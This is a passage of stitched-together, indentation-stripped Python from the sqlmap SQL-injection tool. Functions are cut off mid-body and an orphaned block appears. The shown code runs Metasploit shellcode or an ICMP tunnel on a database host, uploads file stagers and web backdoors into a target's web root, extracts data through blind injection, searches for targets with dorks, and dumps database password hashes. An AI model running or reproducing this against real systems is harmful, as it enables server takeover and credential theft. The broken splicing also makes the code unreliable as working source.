except SqlmapSilentQuitException:
raise
except SqlmapBaseException as ex:
errMsg = getSafeExString(ex)
if conf.multipleTargets:
_saveToResultsFile()
errMsg += ", skipping to the next %s" % ("form" if conf.forms
else "URL")
logger.error(errMsg.lstrip(", "))
else:
logger.critical(errMsg)
return False
finally:
showHttpErrorCodes()
if kb.maxConnectionsFlag:
warnMsg = "it appears that the target "
warnMsg += "has a maximum connections "
warnMsg += "constraint"
logger.warn(warnMsg)
if kb.dataOutputFlag and not conf.multipleTargets:
logger.info("fetched data logged to text files under '%s'" %
conf.outputPath)
if conf.multipleTargets:
if conf.resultsFile:
infoMsg = "you can find results of scanning in multiple targets "
infoMsg += "mode inside the CSV file '%s'" % conf.resultsFile
logger.info(infoMsg)
return True
def osPwn(self):
goUdf = False
fallbackToWeb = False
setupSuccess = False
self.checkDbmsOs()
if Backend.isOs(OS.WINDOWS):
msg = "how do you want to establish the tunnel?"
msg += "\n[1] TCP: Metasploit Framework (default)"
msg += "\n[2] ICMP: icmpsh - ICMP tunneling"
valids = (1, 2)
while True:
tunnel = readInput(msg, default=1)
if isinstance(tunnel, basestring) and tunnel.isdigit() and int(
tunnel) in valids:
tunnel = int(tunnel)
break
elif isinstance(tunnel, int) and tunnel in valids:
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
else:
tunnel = 1
debugMsg = "the tunnel can be established only via TCP when "
debugMsg += "the back-end DBMS is not Windows"
logger.debug(debugMsg)
if tunnel == 2:
isAdmin = runningAsAdmin()
if not isAdmin:
errMsg = "you need to run sqlmap as an administrator "
errMsg += "if you want to establish an out-of-band ICMP "
errMsg += "tunnel because icmpsh uses raw sockets to "
errMsg += "sniff and craft ICMP packets"
raise SqlmapMissingPrivileges(errMsg)
try:
from impacket import ImpactDecoder
from impacket import ImpactPacket
except ImportError:
errMsg = "sqlmap requires 'python-impacket' third-party library "
errMsg += "in order to run icmpsh master. You can get it at "
errMsg += "http://code.google.com/p/impacket/downloads/list"
raise SqlmapMissingDependence(errMsg)
sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all"
if os.path.exists(sysIgnoreIcmp):
fp = open(sysIgnoreIcmp, "wb")
fp.write("1")
fp.close()
else:
errMsg = "you need to disable ICMP replies by your machine "
errMsg += "system-wide. For example run on Linux/Unix:\n"
errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n"
errMsg += "If you miss doing that, you will receive "
errMsg += "information from the database server and it "
errMsg += "is unlikely to receive commands sent from you"
logger.error(errMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
self.sysUdfs.pop("sys_bineval")
self.getRemoteTempPath()
if isStackingAvailable() or conf.direct:
web = False
self.initEnv(web=web)
if tunnel == 1:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)"
while True:
choice = readInput(msg, default=1)
if isinstance(choice, basestring) and choice.isdigit(
) and int(choice) in (1, 2):
choice = int(choice)
break
elif isinstance(choice, int) and choice in (1, 2):
break
else:
warnMsg = "invalid value, valid values are 1 and 2"
logger.warn(warnMsg)
if choice == 1:
goUdf = True
if goUdf:
exitfunc = "thread"
setupSuccess = True
else:
exitfunc = "process"
self.createMsfShellcode(exitfunc=exitfunc,
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
if not goUdf:
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if Backend.isOs(OS.WINDOWS) and Backend.isDbms(
DBMS.MYSQL) and conf.privEsc:
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
if Backend.isDbms(DBMS.MYSQL):
fallbackToWeb = True
else:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if not setupSuccess and Backend.isDbms(
DBMS.MYSQL) and not conf.direct and (not isStackingAvailable()
or fallbackToWeb):
web = True
if fallbackToWeb:
infoMsg = "falling back to web backdoor to establish the tunnel"
else:
infoMsg = "going to use a web backdoor to establish the tunnel"
logger.info(infoMsg)
self.initEnv(web=web, forceInit=fallbackToWeb)
if self.webBackdoorUrl:
if not Backend.isOs(OS.WINDOWS) and conf.privEsc:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
warnMsg = "sqlmap does not implement any operating system "
warnMsg += "user privilege escalation technique when the "
warnMsg += "back-end DBMS underlying system is not Windows"
logger.warn(warnMsg)
if tunnel == 1:
self.createMsfShellcode(exitfunc="process",
format="raw",
extra="BufferRegister=EAX",
encode="x86/alpha_mixed")
setupSuccess = self.uploadShellcodeexec(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif tunnel == 2:
setupSuccess = self.uploadIcmpshSlave(web=web)
if setupSuccess is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
if setupSuccess:
if tunnel == 1:
self.pwn(goUdf)
elif tunnel == 2:
self.icmpPwn()
else:
errMsg = "unable to prompt for an out-of-band session"
raise SqlmapNotVulnerableException(errMsg)
if not conf.cleanup:
self.cleanup(web=web)
def _selectInjection():
"""
Selection function for injection place, parameters and type.
"""
points = {}
for injection in kb.injections:
place = injection.place
parameter = injection.parameter
ptype = injection.ptype
point = (place, parameter, ptype)
if point not in points:
points[point] = injection
else:
for key in points[point]:
if key != 'data':
points[point][key] = points[point][key] or injection[key]
points[point]['data'].update(injection['data'])
if len(points) == 1:
kb.injection = kb.injections[0]
elif len(points) > 1:
message = "there were multiple injection points, please select "
message += "the one to use for following injections:\n"
points = []
for i in xrange(0, len(kb.injections)):
place = kb.injections[i].place
parameter = kb.injections[i].parameter
ptype = kb.injections[i].ptype
point = (place, parameter, ptype)
if point not in points:
points.append(point)
ptype = PAYLOAD.PARAMETER[ptype] if isinstance(ptype,
int) else ptype
message += "[%d] place: %s, parameter: " % (i, place)
message += "%s, type: %s" % (parameter, ptype)
if i == 0:
message += " (default)"
message += "\n"
message += "[q] Quit"
choice = readInput(message, default='0').upper()
if isDigit(choice) and int(choice) < len(
kb.injections) and int(choice) >= 0:
index = int(choice)
elif choice == 'Q':
raise SqlmapUserQuitException
else:
errMsg = "invalid choice"
raise SqlmapValueException(errMsg)
kb.injection = kb.injections[index]
def __goInferenceProxy(expression,
fromUser=False,
batch=False,
unpack=True,
charsetType=None,
firstChar=None,
lastChar=None,
dump=False):
"""
Retrieve the output of a SQL query characted by character taking
advantage of an blind SQL injection vulnerability on the affected
parameter through a bisection algorithm.
"""
initTechnique(kb.technique)
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
query = agent.suffixQuery(query)
payload = agent.payload(newValue=query)
count = None
startLimit = 0
stopLimit = None
outputs = BigArray()
test = None
untilLimitChar = None
untilOrderChar = None
if not unpack:
return __goInference(payload, expression, charsetType, firstChar,
lastChar, dump)
_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(
expression)
rdbRegExp = re.search("RDB\$GET_CONTEXT\([^)]+\)", expression, re.I)
if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
expressionFieldsList = [expressionFields]
if len(expressionFieldsList) > 1:
infoMsg = "the SQL query provided has more than one field. "
infoMsg += "sqlmap will now unpack it into distinct queries "
infoMsg += "to be able to retrieve the output even if we "
infoMsg += "are going blind"
logger.info(infoMsg)
# If we have been here from SQL query/shell we have to check if
# the SQL query might return multiple entries and in such case
# forge the SQL limiting the query output one entry per time
# NOTE: I assume that only queries that get data from a table
# can return multiple entries
if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
limitRegExp = re.search(
queries[Backend.getIdentifiedDbms()].limitregexp.query, expression,
re.I)
topLimit = re.search("TOP\s+([\d]+)\s+", expression, re.I)
if limitRegExp or (Backend.getIdentifiedDbms()
in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
limitGroupStart = queries[
Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[
Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
if limitRegExp:
limitGroupStart = queries[
Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[
Backend.getIdentifiedDbms()].limitgroupstop.query
if limitGroupStart.isdigit():
startLimit = int(
limitRegExp.group(int(limitGroupStart)))
stopLimit = limitRegExp.group(int(limitGroupStop))
limitCond = int(stopLimit) > 1
elif topLimit:
startLimit = 0
stopLimit = int(topLimit.group(1))
limitCond = int(stopLimit) > 1
elif Backend.isDbms(DBMS.ORACLE):
limitCond = False
else:
limitCond = True
# We assume that only queries NOT containing a "LIMIT #, 1"
# (or similar depending on the back-end DBMS) can return
# multiple entries
if limitCond:
if limitRegExp:
stopLimit = int(stopLimit)
# From now on we need only the expression until the " LIMIT "
# (or similar, depending on the back-end DBMS) word
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
stopLimit += startLimit
untilLimitChar = expression.index(
queries[Backend.getIdentifiedDbms()].limitstring.query)
expression = expression[:untilLimitChar]
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
stopLimit += startLimit
if not stopLimit or stopLimit <= 1:
if Backend.getIdentifiedDbms(
) in FROM_DUMMY_TABLE and expression.upper().endswith(
FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
test = False
else:
test = True
if test:
# Count the number of SQL query entries output
countFirstField = queries[Backend.getIdentifiedDbms(
)].count.query % expressionFieldsList[0]
countedExpression = expression.replace(expressionFields,
countFirstField, 1)
if re.search(" ORDER BY ", expression, re.I):
untilOrderChar = countedExpression.index(" ORDER BY ")
countedExpression = countedExpression[:untilOrderChar]
if not stopLimit:
count = __goInference(payload,
countedExpression,
charsetType=CHARSET_TYPE.DIGITS,
firstChar=firstChar,
lastChar=lastChar)
if isNumPosStrValue(count):
count = int(count)
if batch:
stopLimit = count
else:
message = "the SQL query provided can return "
message += "%d entries. How many " % count
message += "entries do you want to retrieve?\n"
message += "[a] All (default)\n[#] Specific number\n"
message += "[q] Quit"
test = readInput(message, default="a")
if not test or test[0] in ("a", "A"):
stopLimit = count
elif test[0] in ("q", "Q"):
raise sqlmapUserQuitException
elif test.isdigit(
) and int(test) > 0 and int(test) <= count:
stopLimit = int(test)
infoMsg = "sqlmap is now going to retrieve the "
infoMsg += "first %d query output entries" % stopLimit
logger.info(infoMsg)
elif test[0] in ("#", "s", "S"):
message = "how many? "
stopLimit = readInput(message, default="10")
if not stopLimit.isdigit():
errMsg = "invalid choice"
logger.error(errMsg)
return None
else:
stopLimit = int(stopLimit)
else:
errMsg = "invalid choice"
logger.error(errMsg)
return None
elif count and not count.isdigit():
warnMsg = "it was not possible to count the number "
warnMsg += "of entries for the SQL query provided. "
warnMsg += "sqlmap will assume that it returns only "
warnMsg += "one entry"
logger.warn(warnMsg)
stopLimit = 1
elif (not count or int(count) == 0):
if not count:
warnMsg = "the SQL query provided does not "
warnMsg += "return any output"
logger.warn(warnMsg)
return None
elif (not stopLimit or stopLimit == 0):
return None
try:
for num in xrange(startLimit, stopLimit):
output = __goInferenceFields(expression,
expressionFields,
expressionFieldsList,
payload,
num=num,
charsetType=charsetType,
firstChar=firstChar,
lastChar=lastChar,
dump=dump)
outputs.append(output)
except KeyboardInterrupt:
print
warnMsg = "user aborted during dumping phase"
logger.warn(warnMsg)
return outputs
elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper(
).startswith("SELECT ") and " FROM " not in expression.upper():
expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
outputs = __goInferenceFields(expression,
expressionFields,
expressionFieldsList,
payload,
charsetType=charsetType,
firstChar=firstChar,
lastChar=lastChar,
dump=dump)
return ", ".join(
output for output in outputs) if not isNoneValue(outputs) else None
def _search(dork):
"""
This method performs the effective search on Google providing
the google dork and the Google session cookie
"""
if not dork:
return None
page = None
data = None
requestHeaders = {}
responseHeaders = {}
requestHeaders[HTTP_HEADER.USER_AGENT] = dict(conf.httpHeaders).get(
HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)
requestHeaders[
HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE
try:
req = _urllib.request.Request("https://www.google.com/ncr",
headers=requestHeaders)
conn = _urllib.request.urlopen(req)
except Exception as ex:
errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex)
raise SqlmapConnectionException(errMsg)
gpage = conf.googlePage if conf.googlePage > 1 else 1
logger.info("using search result page #%d" % gpage)
url = "http://www.google.com/search?" # NOTE: https version goes to the consent
url += "q=%s&" % urlencode(dork, convall=True)
url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search"
url += "&start=%d" % ((gpage - 1) * 100)
try:
req = _urllib.request.Request(url, headers=requestHeaders)
conn = _urllib.request.urlopen(req)
requestMsg = "HTTP request:\nGET %s" % url
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
except _urllib.error.HTTPError as ex:
try:
page = ex.read()
responseHeaders = ex.info()
except Exception as _:
warnMsg = "problem occurred while trying to get "
warnMsg += "an error page information (%s)" % getSafeExString(_)
logger.critical(warnMsg)
return None
except (_urllib.error.URLError, _http_client.error, socket.error,
socket.timeout, socks.ProxyError):
errMsg = "unable to connect to Google"
raise SqlmapConnectionException(errMsg)
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING),
responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
page = getUnicode(page) # Note: if upper function call fails (Issue #4202)
retVal = [
_urllib.parse.unquote(match.group(1) or match.group(2))
for match in re.finditer(GOOGLE_REGEX, page, re.I)
]
if not retVal and "detected unusual traffic" in page:
warnMsg = "Google has detected 'unusual' traffic from "
warnMsg += "used IP address disabling further searches"
if conf.proxyList:
raise SqlmapBaseException(warnMsg)
else:
logger.critical(warnMsg)
if not retVal:
message = "no usable links found. What do you want to do?"
message += "\n[1] (re)try with DuckDuckGo (default)"
message += "\n[2] (re)try with Bing"
message += "\n[3] quit"
choice = readInput(message, default='1')
if choice == '3':
raise SqlmapUserQuitException
elif choice == '2':
url = "https://www.bing.com/search?q=%s&first=%d" % (urlencode(
dork, convall=True), (gpage - 1) * 10 + 1)
regex = BING_REGEX
else:
url = "https://html.duckduckgo.com/html/"
data = "q=%s&s=%d" % (urlencode(dork, convall=True),
(gpage - 1) * 30)
regex = DUCKDUCKGO_REGEX
try:
req = _urllib.request.Request(url,
data=getBytes(data),
headers=requestHeaders)
conn = _urllib.request.urlopen(req)
requestMsg = "HTTP request:\nGET %s" % url
requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str
logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg)
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
page = decodePage(page, responseHeaders.get("Content-Encoding"),
responseHeaders.get("Content-Type"))
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg)
except _urllib.error.HTTPError as ex:
try:
page = ex.read()
page = decodePage(page, ex.headers.get("Content-Encoding"),
ex.headers.get("Content-Type"))
except socket.timeout:
warnMsg = "connection timed out while trying "
warnMsg += "to get error page information (%d)" % ex.code
logger.critical(warnMsg)
return None
except:
errMsg = "unable to connect"
raise SqlmapConnectionException(errMsg)
retVal = [
_urllib.parse.unquote(match.group(1).replace("&", "&"))
for match in re.finditer(regex, page, re.I | re.S)
]
if not retVal and "issue with the Tor Exit Node you are currently using" in page:
warnMsg = "DuckDuckGo has detected 'unusual' traffic from "
warnMsg += "used (Tor) IP address"
if conf.proxyList:
raise SqlmapBaseException(warnMsg)
else:
logger.critical(warnMsg)
return retVal
finally:
if conf.forms:
findPageForms(content, current, False, True)
if conf.verbose in (1, 2):
threadData.shared.count += 1
status = '%d/%d links visited (%d%%)' % (threadData.shared.count, threadData.shared.length, round(100.0 * threadData.shared.count / threadData.shared.length))
dataToStdout("\r[%s] [INFO] %s" % (time.strftime("%X"), status), True)
threadData.shared.deeper = set()
threadData.shared.unprocessed = set([target])
if not conf.sitemapUrl:
message = "do you want to check for the existence of "
message += "site's sitemap(.xml) [y/N] "
test = readInput(message, default="n")
if test[0] in ("y", "Y"):
found = True
items = None
url = urlparse.urljoin(target, "/sitemap.xml")
try:
items = parseSitemap(url)
except SqlmapConnectionException, ex:
if "page not found" in getSafeExString(ex):
found = False
logger.warn("'sitemap.xml' not found")
except:
pass
finally:
if found:
if items:
def webInit(self):
"""
This method is used to write a web backdoor (agent) on a writable
remote directory within the web server document root.
"""
if self.webBackdoorUrl is not None and self.webStagerUrl is not None and self.webPlatform is not None:
return
self.checkDbmsOs()
default = None
choices = list(getPublicTypeMembers(WEB_PLATFORM, True))
for ext in choices:
if conf.url.endswith(ext):
default = ext
break
if not default:
default = WEB_PLATFORM.ASP if Backend.isOs(
OS.WINDOWS) else WEB_PLATFORM.PHP
message = "which web application language does the web server "
message += "support?\n"
for count in xrange(len(choices)):
ext = choices[count]
message += "[%d] %s%s\n" % (count + 1, ext.upper(),
(" (default)"
if default == ext else ""))
if default == ext:
default = count + 1
message = message[:-1]
while True:
choice = readInput(message, default=str(default))
if not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
elif int(choice) < 1 or int(choice) > len(choices):
logger.warn("invalid value, it must be between 1 and %d" %
len(choices))
else:
self.webPlatform = choices[int(choice) - 1]
break
if not kb.absFilePaths:
message = "do you want sqlmap to further try to "
message += "provoke the full path disclosure? [Y/n] "
if readInput(message, default='Y', boolean=True):
headers = {}
been = set([conf.url])
for match in re.finditer(
r"=['\"]((https?):)?(//[^/'\"]+)?(/[\w/.-]*)\bwp-",
kb.originalPage or "", re.I):
url = "%s%s" % (conf.url.replace(
conf.path, match.group(4)), "wp-content/wp-db.php")
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
url = re.sub(r"(\.\w+)\Z", r"~\g<1>", conf.url)
if url not in been:
try:
page, _, _ = Request.getPage(url=url,
raise404=False,
silent=True)
parseFilePaths(page)
except:
pass
finally:
been.add(url)
for place in (PLACE.GET, PLACE.POST):
if place in conf.parameters:
value = re.sub(r"(\A|&)(\w+)=", r"\g<2>[]=",
conf.parameters[place])
if "[]" in value:
page, headers, _ = Request.queryPage(
value=value,
place=place,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
cookie = None
if PLACE.COOKIE in conf.parameters:
cookie = conf.parameters[PLACE.COOKIE]
elif headers and HTTP_HEADER.SET_COOKIE in headers:
cookie = headers[HTTP_HEADER.SET_COOKIE]
if cookie:
value = re.sub(
r"(\A|;)(\w+)=[^;]*",
r"\g<2>=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
value = re.sub(r"(\A|;)(\w+)=[^;]*", r"\g<2>=", cookie)
if value != cookie:
page, _, _ = Request.queryPage(value=value,
place=PLACE.COOKIE,
content=True,
raise404=False,
silent=True,
noteResponseTime=False)
parseFilePaths(page)
directories = list(arrayizeValue(getManualDirectories()))
directories.extend(getAutoDirectories())
directories = list(OrderedSet(directories))
path = _urllib.parse.urlparse(conf.url).path or '/'
path = re.sub(r"/[^/]*\.\w+\Z", '/', path)
if path != '/':
_ = []
for directory in directories:
_.append(directory)
if not directory.endswith(path):
_.append("%s/%s" %
(directory.rstrip('/'), path.strip('/')))
directories = _
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True),
self.webPlatform)
backdoorContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors",
"backdoor.%s_" % self.webPlatform))
stagerContent = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stagers",
"stager.%s_" % self.webPlatform))
for directory in directories:
if not directory:
continue
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webPlatform)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
uploaded = False
directory = ntToPosixSlashes(normalizePath(directory))
if not isWindowsDriveLetterPath(
directory) and not directory.startswith('/'):
directory = "/%s" % directory
if not directory.endswith('/'):
directory += '/'
# Upload the file stager with the LIMIT 0, 1 INTO DUMPFILE method
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via LIMIT 'LINES TERMINATED BY' method"
logger.info(infoMsg)
self._webFileInject(stagerContent, stagerName, directory)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
# Fall-back to UNION queries file upload method
if not uploaded:
warnMsg = "unable to upload the file stager "
warnMsg += "on '%s'" % directory
singleTimeWarnMessage(warnMsg)
if isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
infoMsg = "trying to upload the file stager on '%s' " % directory
infoMsg += "via UNION method"
logger.info(infoMsg)
stagerName = "tmpu%s.%s" % (randomStr(lowercase=True),
self.webPlatform)
self.webStagerFilePath = posixpath.join(
ntToPosixSlashes(directory), stagerName)
handle, filename = tempfile.mkstemp()
os.close(handle)
with open(filename, "w+b") as f:
_ = decloak(
os.path.join(paths.SQLMAP_SHELL_PATH, "stagers",
"stager.%s_" % self.webPlatform))
_ = _.replace(
SHELL_WRITABLE_DIR_TAG,
utf8encode(
directory.replace('/', '\\\\') if Backend.
isOs(OS.WINDOWS) else directory))
f.write(_)
self.unionWriteFile(filename,
self.webStagerFilePath,
"text",
forceCheck=True)
for match in re.finditer('/', directory):
self.webBaseUrl = "%s://%s:%d%s/" % (
conf.scheme, conf.hostname, conf.port,
directory[match.start():].rstrip('/'))
self.webStagerUrl = _urllib.parse.urljoin(
self.webBaseUrl, stagerName)
debugMsg = "trying to see if the file is accessible from '%s'" % self.webStagerUrl
logger.debug(debugMsg)
uplPage, _, _ = Request.getPage(url=self.webStagerUrl,
direct=True,
raise404=False)
uplPage = uplPage or ""
if "sqlmap file uploader" in uplPage:
uploaded = True
break
if not uploaded:
continue
if "<%" in uplPage or "<?" in uplPage:
warnMsg = "file stager uploaded on '%s', " % directory
warnMsg += "but not dynamically interpreted"
logger.warn(warnMsg)
continue
elif self.webPlatform == WEB_PLATFORM.ASPX:
kb.data.__EVENTVALIDATION = extractRegexResult(
EVENTVALIDATION_REGEX, uplPage)
kb.data.__VIEWSTATE = extractRegexResult(
VIEWSTATE_REGEX, uplPage)
infoMsg = "the file stager has been successfully uploaded "
infoMsg += "on '%s' - %s" % (directory, self.webStagerUrl)
logger.info(infoMsg)
if self.webPlatform == WEB_PLATFORM.ASP:
match = re.search(
r'input type=hidden name=scriptsdir value="([^"]+)"',
uplPage)
if match:
backdoorDirectory = match.group(1)
else:
continue
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName,
backdoorDirectory,
content=backdoorContent.replace(
SHELL_WRITABLE_DIR_TAG,
backdoorDirectory).replace(
SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_,
backdoorDirectory,
filepath=os.path.join(
paths.SQLMAP_EXTRAS_PATH, "runcmd",
"runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl,
backdoorName)
self.webDirectory = backdoorDirectory
else:
continue
else:
if not self.webUpload(backdoorName,
posixToNtSlashes(directory) if
Backend.isOs(OS.WINDOWS) else directory,
content=backdoorContent):
warnMsg = "backdoor has not been successfully uploaded "
warnMsg += "through the file stager possibly because "
warnMsg += "the user running the web server process "
warnMsg += "has not write privileges over the folder "
warnMsg += "where the user running the DBMS process "
warnMsg += "was able to upload the file stager or "
warnMsg += "because the DBMS and web server sit on "
warnMsg += "different servers"
logger.warn(warnMsg)
message = "do you want to try the same method used "
message += "for the file stager? [Y/n] "
if readInput(message, default='Y', boolean=True):
self._webFileInject(backdoorContent, backdoorName,
directory)
else:
continue
self.webBackdoorUrl = posixpath.join(
ntToPosixSlashes(self.webBaseUrl), backdoorName)
self.webDirectory = directory
self.webBackdoorFilePath = posixpath.join(
ntToPosixSlashes(directory), backdoorName)
testStr = "command execution test"
output = self.webBackdoorRunCmd("echo %s" % testStr)
if output == "0":
warnMsg = "the backdoor has been uploaded but required privileges "
warnMsg += "for running the system commands are missing"
raise SqlmapNoneDataException(warnMsg)
elif output and testStr in output:
infoMsg = "the backdoor has been successfully "
else:
infoMsg = "the backdoor has probably been successfully "
infoMsg += "uploaded on '%s' - " % self.webDirectory
infoMsg += self.webBackdoorUrl
logger.info(infoMsg)
break
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
rootQuery = queries[Backend.getIdentifiedDbms()].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.user and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
conf.user = conf.user.upper()
if conf.user:
users = conf.user.split(",")
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
else:
users = []
users = filter(None, users)
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.inband.query2
else:
query = rootQuery.inband.query
condition = rootQuery.inband.condition
if conf.user:
query += " WHERE "
query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
if Backend.isDbms(DBMS.SYBASE):
randStr = randomStr()
getCurrentThreadData().disableStdOut = True
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=False)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
values = inject.getValue(query, blind=False, time=False)
for user, password in filterPairValues(values):
if not user or user == " ":
continue
password = parsePasswordHash(password)
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
if not len(users):
users = self.getUsers()
if Backend.isDbms(DBMS.MYSQL):
for user in users:
parsedUser = re.search("[\047]*(.*?)[\047]*\@", user)
if parsedUser:
users[users.index(user)] = parsedUser.groups()[0]
if Backend.isDbms(DBMS.SYBASE):
getCurrentThreadData().disableStdOut = True
randStr = randomStr()
query = rootQuery.inband.query
retVal = pivotDumpTable("(%s) AS %s" % (query, randStr), ['%s.name' % randStr, '%s.password' % randStr], blind=True)
if retVal:
for user, password in filterPairValues(zip(retVal[0]["%s.name" % randStr], retVal[0]["%s.password" % randStr])):
password = "******" % hexencode(password).upper()
if user not in kb.data.cachedUsersPasswords:
kb.data.cachedUsersPasswords[user] = [password]
else:
kb.data.cachedUsersPasswords[user].append(password)
getCurrentThreadData().disableStdOut = False
else:
retrievedUsers = set()
for user in users:
user = unArrayizeValue(user)
if user in retrievedUsers:
continue
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
query = rootQuery.blind.count2 % user
else:
query = rootQuery.blind.count % user
